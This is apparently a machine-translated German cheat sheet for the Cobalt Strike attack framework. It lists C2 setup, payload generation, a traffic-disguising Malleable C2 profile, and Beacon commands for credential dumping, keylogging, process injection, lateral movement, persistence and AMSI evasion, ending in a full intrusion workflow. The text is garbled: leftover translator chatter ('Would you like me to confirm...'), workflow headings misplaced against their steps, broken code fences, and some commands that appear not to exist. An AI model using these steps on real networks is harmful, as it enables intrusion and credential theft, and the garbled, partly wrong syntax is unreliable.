cli-tool
intermediate
utility
Cobalt Strike Cheat Sheet
📋 Copy All Commands
📄 Generate PDF
Überblick
Cobalt Strike ist eine kommerzielle Penetrationstesting- und Red-Team-Operationsplattform, die entwickelt wurde, um fortschrittliche Bedrohungsakteure zu emulieren. Es bietet ein Post-Exploitation-Framework, das Operatoren ermöglicht, Beacons (Agenten) auf kompromittierten Systemen zu implementieren, Kommando- und Kontrollkanäle (C2) zu etablieren und verschiedene offensive Sicherheitsoperationen durchzuführen.
⚠️ Warnung : Cobalt Strike ist ein kommerelles Sicherheitstestwerkzeug, das nur in Umgebungen verwendet werden sollte, in denen Sie eine ausdrückliche Erlaubnis haben.
Kernkomponenten
Team Server
Zentraler Kommando- und Kontrollserver
Läuft auf Linux
Verwaltet Beacons und Listener
Bietet Zusammenarbeit für Teamoperationen
Client
Java-basierte GUI-Anwendung
Verbindet sich mit Team Server
Schnittstelle für Operatoren zur Interaktion mit Beacons
Visualisiert Zielnetzwerke
Beacon
Primäre Nutzlast für Post-Exploitation
Stellt Kommunikation mit Team Server her
Bietet verschiedene Möglichkeiten für offensive Operationen
Kann in verschiedenen Kommunikationsmodi arbeiten
Einrichtung und Konfiguration
Team Server Einrichtung
# Start the Team Server
./teamserver <ip_address> <password> [ malleable_c2_profile]
# Example
./teamserver 192 .168.1.100 P@ssw0rd! c2-profiles/normal/amazon.profile
Client Einrichtung
1. Launch the Cobalt Strike client
2. Connect > New Connection
3. Enter Team Server details:
- Host: <team_server_ip>
- Port: 50050 (default)
- User: <username>
- Password: <password>
4. Verify SSL certificate fingerprint
Listener
Listener erstellen
1. Cobalt Strike > Listeners
2. Click "Add"
3. Configure listener settings:
- Name: <listener_name>
- Payload: <beacon_type>
- Host: <callback_domain_or_ip>
- Port: <port_number>
- Profile: <malleable_c2_profile>
4. Click "Save"
Listener-Typen
Typ
Beschreibung
HTTP
Verwendet HTTP für C2-Kommunikation
HTTPS
Verwendet HTTPS für C2-Kommunikation
DNS
Verwendet DNS-Abfragen für stealthes Command and Control
SMB
Verwendet benannte Pipes für Peer-to-Peer C2
TCP
Verwendet direkte TCP-Verbindungen
Foreign
Integriert mit anderen C2-Frameworks
## Nutzlast-Generierung
Beacon-Nutzlasttypen
Attacks > Packages > <payload_type>
Payload-Typ
Beschreibung
Windows Executable
Standard .exe-Datei
Windows Service EXE
Service-Executable
DLL
Dynamische Verknüpfungsbibliothek
PowerShell
PowerShell One-Liner
Python
Python-Skript
Office Macro
Makro für Office-Dokumente
Shellcode
Roher Shellcode
### Artifact Kit
Attacks > Packages > Windows Executable (S)
- Generiert benutzerdefinierte Nutzlasten mit Umgehungstechniken
- Modifiziert Signaturen zur Vermeidung von Erkennung
- Anpassbare Vorlagen
Beacon-Befehle
Sitzungsverwaltung
Befehl
Beschreibung
help
Hilfe-Informationen anzeigen
sleep [seconds] [jitter%]
Schlafzeit und Jitter festlegen
checkin
Sofortige Check-in erzwingen
exit
Beenden Sie die Beacon-Sitzung
clear
Lösche die Beacon-Aufgabenwarteschlange
jobs
Laufende Jobs auflisten
jobkill [JID]
Einen laufenden Job beenden
mode dns
Wechseln Sie in den DNS-Modus
mode dns-txt
Wechseln Sie in den DNS-TXT-Modus
mode dns6
Wechseln Sie in den DNS6-Modus
mode http
Wechseln Sie in den HTTP-Modus
mode smb
Wechseln Sie in den SMB-Modus
### Informationssammlung
Befehl
Beschreibung
hostname
Hostname abrufen
ipconfig
Netzwerkkonfiguration anzeigen
netstat
Netzwerkverbindungen anzeigen
ps
Laufende Prozesse auflisten
tasklist
Alternative zu ps
getuid
Aktuelle Benutzer-ID abrufen
whoami
Detaillierte Benutzerinformationen abrufen
pwd
Aktuelles Arbeitsverzeichnis ausgeben
drives
Verfügbare Laufwerke auflisten
dir [directory]
Dateien im Verzeichnis auflisten
ls [directory]
Alternative zu dir
net [command]
Führen Sie den net-Befehl aus
reg query [path]
Abfrage-Registry
sysinfo
Systeminfo abrufen
### Dateioperationen
Befehl
Beschreibung
cd [directory]
Verzeichnis wechseln
cp [source] [destination]
Eine Datei kopieren
mkdir [directory]
Erstelle ein Verzeichnis
mv [source] [destination]
Eine Datei verschieben oder umbenennen
rm [file]
Eine Datei löschen
rmdir [directory]
Ein Verzeichnis löschen
cat [file]
Dateiinhalte anzeigen
download [file]
Eine Datei vom Ziel herunterladen
upload [file]
Eine Datei auf das Ziel hochladen
timestomp [file] [template]
Datei-Timestamps ändern
ls-acl [file]
Datei-Berechtigungen auflisten
### Prozessoperationen
Befehl
Beschreibung
execute [program]
Ausführen ohne Ausgabe zu erfassen
shell [command]
Ausführen und Ausgabe erfassen
run [program]
Ein Programm ausführen
runas [user] [password] [program]
Als anderer Benutzer ausführen
pth [user] [domain] [hash]
Pass-the-Hash zum Erstellen eines Tokens
steal_token [pid]
Token vom Prozess stehlen
make_token [domain] [user] [password]
Ein Token erstellen
rev2self
Zum ursprünglichen Token zurückkehren
getprivs
System-Berechtigungen aktivieren
getsystem
Versuch, SYSTEM-Privilegien zu erlangen
execute-assembly [file.exe]
.NET Assembly im Speicher ausführen
powerpick [command]
PowerShell ohne powershell.exe ausführen
powershell [command]
PowerShell-Befehl ausführen
psinject [pid] [command]
PowerShell in bestimmtem Prozess ausführen
shinject [pid] [arch] [file.bin]
Shellcode in Prozess injizieren
dllinject [pid] [file.dll]
DLL in Prozess injizieren
dllload [file.dll]
DLL in Beacon-Prozess laden
### Laterale Bewegung
Befehl
Beschreibung
psexec [target] [listener]
Verwende PsExec zum Bereitstellen von Beacon
psexec_psh [target] [listener]
PsExec mit PowerShell verwenden
winrm [target] [listener]
WinRM zur Bereitstellung von Beacon verwenden
wmi [target] [listener]
WMI verwenden, um Beacon zu deployen
ssh [target:port] [user] [pass] [listener]
SSH verwenden, um Beacon zu deployen
ssh-key [target:port] [user] [key] [listener]
SSH mit Schlüsselauthentifizierung verwenden
dcsync [domain] [user]
Verwende DCSync zum Extrahieren von Passwort-Hashes
jump [method] [target] [listener]
Zum Ziel springen mit angegebener Methode
remote-exec [method] [target] [command]
Befehl auf Remote-System ausführen
### Pivoting
Befehl
Beschreibung
rportfwd [bind port] [forward host] [forward port]
Reverse-Port-Weiterleitung einrichten
rportfwd stop [bind port]
Reverse Port Forwarding stoppen
socks [port]
SOCKS-Proxy-Server starten
socks stop
SOCKS-Proxy-Server stoppen
spunnel [host] [port]
Verschlüsselten Tunnel über SMB erstellen
spunnel stop
Verschlüsselten Tunnel stoppen
covertvpn [interface] [IP/Mask]
Covert VPN-Schnittstelle bereitstellen
covertvpn stop
Stopp Covert VPN
pivot [host] [port]
Liste Pivot-Listener
pivotlistener [host] [port]
Pivot-Listener erstellen
### Post-Exploitation
Befehl
Beschreibung
mimikatz [command]
Mimikatz-Befehl ausführen
hashdump
Passwort-Hashes ablegen
logonpasswords
Anmeldeinformationen aus dem Speicher extrahieren
keylogger [pid]
Keylogger starten
screenshot [pid]
Screenshot aufnehmen
screenwatch [pid]
Ziel-Bildschirm beobachten
printscreen
Bildschirmfoto mit Druck der Druck-Taste (PrintScreen) aufnehmen
reg query [path]
Abfrage-Registry
powerview [command]
PowerView-Befehl ausführen
portscan [targets] [ports] [discovery method]
Nach offenen Ports scannen
browserpivot [pid] [port]
Web-Sitzungen mit Authentifizierung kapern
chromedump
Chrome Cookies und Anmeldedaten exportieren
persist [method] [listener]
Persistenz einrichten
elevate [exploit] [listener]
Versuch der Rechteausweitung
## Malleable C2 Profile
Grundlegende Struktur
# Global options
set sleeptime "5000";
set jitter "10";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
# HTTP staging
http-stager \\\\{
set uri "/jquery-3.3.1.min.js";
client \\\\{
header "Accept" "text/javascript, application/javascript, */*";
\\\\}
server \\\\{
header "Content-Type" "application/javascript";
\\\\}
\\\\}
# HTTP client
http-get \\\\{
set uri "/api/v1/data";
client \\\\{
header "Accept" "application/json";
metadata \\\\{
base64;
prepend "session=";
append ";";
header "Cookie";
\\\\}
\\\\}
server \\\\{
header "Content-Type" "application/json";
output \\\\{
json \\\\{
"status" "success";
"data" "";
\\\\}
prepend "\\\\{\"data\":\"";
append "\"\\\\}";
base64;
\\\\}
\\\\}
\\\\}
Profile testen
# Verify profile syntax
./c2lint c2-profiles/normal/amazon.profile
# Start Team Server with profile
./teamserver 192 .168.1.100 P@ssw0rd! c2-profiles/normal/amazon.profile
Aggressor-Skripte
Grundlegende Skriptstruktur
# Event handlers
on beacon_initial \\\\{
println("New beacon: " . $1);
\\\\}
# Aliases (custom commands)
alias hello \\\\{
blog($1, "Hello, World!");
\\\\}
# Menus
popup beacon_bottom \\\\{
item "Custom Command" \\\\{
blog($1, "Executing custom command...");
bshell($1, "whoami");
\\\\}
\\\\}
# Functions
sub get_system_info \\\\{
bshell($1, "systeminfo");
\\\\}
Häufige Skriptfunktionen
Funktion
Beschreibung
blog($1, "message")
Auf Beacon-Konsole schreiben
bshell($1, "command")
Shell-Befehl ausführen
bpowershell($1, "command")
PowerShell-Befehl ausführen
bpowerpick($1, "command")
PowerShell ohne powershell.exe ausführen
bexecute_assembly($1, "/path/to/file.exe")
.NET Assembly ausführen
bdllspawn($1, "/path/to/file.dll")
Reflective DLL injizieren
bpsexec($1, "target", "listener")
PsExec laterale Bewegung ausführen
bwmi($1, "target", "listener")
WMI laterale Bewegung ausführen
bwinrm($1, "target", "listener")
WinRM laterale Bewegung ausführen
## OPSEC-Überlegungen
Prozess-Injektion
# Set parent process for new processes
ppid [pid]
# Set process to spawn for post-ex jobs
spawnto x64 %windir%\\sysnative\\rundll32.exe
spawnto x86 %windir%\\syswow64\\rundll32.exe
# Mask command-line arguments
argue [command] [fake arguments]
# Block non-Microsoft DLLs
blockdlls start
blockdlls stop
Umgehungstechniken
The translation maintains the original markdown formatting, keeps technical terms in English, and preserves the overall structure and punctuation.```
Obfuscate beacon in memory
sleep_mask [seconds] [jitter%]
stage \\{
set obfuscate "true";
set stomppe "true";
set cleanup "true";
\\}
Disable AMSI
amsi_disable
Use smarter process injection
smartinject
## Häufige Arbeitsabläufe
1. Create a listener (Cobalt Strike > Listeners)
2. Generate a payload (Attacks > Packages)
3. Deliver payload to target
4. Wait for beacon check-in
```### Initialer Zugang
1. Check current privileges: getuid
2. Attempt to get SYSTEM: getsystem
3. If unsuccessful, try specific exploits: elevate [exploit] [listener]
4. Verify new privileges: getuid### Rechteausweitung
1. Dump hashes: hashdump
2. Dump credentials from memory: logonpasswords
3. Use Mimikatz for advanced options: mimikatz [command]
4. Extract domain hashes (if DC): dcsync [domain] [user]
```### Anmeldeinformationssammlung
1. Identify targets: net view
2. Choose lateral movement technique:
- psexec [target] [listener]
- winrm [target] [listener]
- wmi [target] [listener]
3. Verify new beacon check-in
### Seitliche Bewegung
1. Choose persistence method:
- persist [method] [listener]
- schtasks [options]
- service [options]
- registry [options]
2. Verify persistence works
3. Document persistence mechanisms for cleanup
```### Persistenz
https://www.cobaltstrike.com/help-beacon#
Ressourcen
Would you like me to confirm or clarify any part of the translation?